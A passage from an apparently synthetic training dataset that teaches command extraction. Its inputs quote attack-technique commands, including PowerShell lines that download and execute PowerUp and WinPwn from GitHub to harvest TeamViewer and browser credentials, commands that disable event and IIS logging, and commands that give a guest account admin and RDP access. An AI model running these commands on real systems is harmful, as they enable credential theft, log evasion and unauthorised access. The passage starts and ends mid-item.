https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Wevtutil can disable logs, as seen in RansomEXX ransomware attacks where Security logs are turned off post-encryption, by executing this command: wevtutil sl \"#{log_name}\" /e:false\n",
    "output": "{\"command_list\": [\"wevtutil sl \\\"#{log_name}\\\" /e:false\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute shellcode in the current process using a syscall, run the following command: $PathToAtomicsFolder\\T1106\\bin\\x64\\syscall.exe -debug",
    "output": "{\"command_list\": [\"$PathToAtomicsFolder\\\\T1106\\\\bin\\\\x64\\\\syscall.exe -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using WinPwn's functionality, you can loot local credentials by decrypting TeamViewer passwords via the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndecryptteamviewer -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndecryptteamviewer -consoleoutput -noninteractive  \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The WinPwn browserpwn function can be executed to gather browser credentials and history with this command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nbrowserpwn -consoleoutput -noninteractive",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\nbrowserpwn -consoleoutput -noninteractive\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following commands will activate the Default Guest account, grant administrative and remote desktop privileges, and configure the system to permit multiple RDP sessions: net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f",
    "output": "{\"command_list\": [\"net user #{guest_user} /active:yes\\nnet user #{guest_user} #{guest_password}\\nnet localgroup #{local_admin_group} #{guest_user} /add\\nnet localgroup \\\"#{remote_desktop_users_group_name}\\\" #{guest_user} /add\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\\nreg add \\\"hklm\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"AllowTSConnections\\\" /t REG_DWORD /d 0x1 /f\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For comprehensive system enumeration including kernel version checks and privilege escalation suggestions, use the following sequence: chmod +x #{linenum}\nbash #{linenum}\n",
    "output": "{\"command_list\": [\"chmod +x #{linenum}\\nbash #{linenum}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, used by Bronze Union, prevents HTTP logging in IIS when you run this command (note HTTP logging configurations must be unlocked first): set-WebConfigurationProperty -PSPath \"IIS:\\\\Sites\\\\#{website_name}\\\\\" -filter \"system.webServer/httpLogging\" -name dontLog -value $true",
    "output": "{\"command_list\": [\"set-WebConfigurationProperty -PSPath \\\"IIS:\\\\Sites\\\\#{website_name}\\\\\\\" -filter \\\"system.webServer/httpLogging\\\" -name dontLog -value $true\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test the execution of commands upon user logout, first create a user and configure their .bash_logout file with the following commands: useradd --create-home --shell /bin/bash art\nsu -l art -c \"echo 'echo \\\"Atomic Red Team was here... T1546.004\\\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit\"",
    "output": "{\"command_list\": [\"useradd --create-home --shell /bin/bash art\\nsu -l art -c \\\"echo 'echo \\\\\\\"Atomic Red Team was here... T1546.004\\\\\\\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands 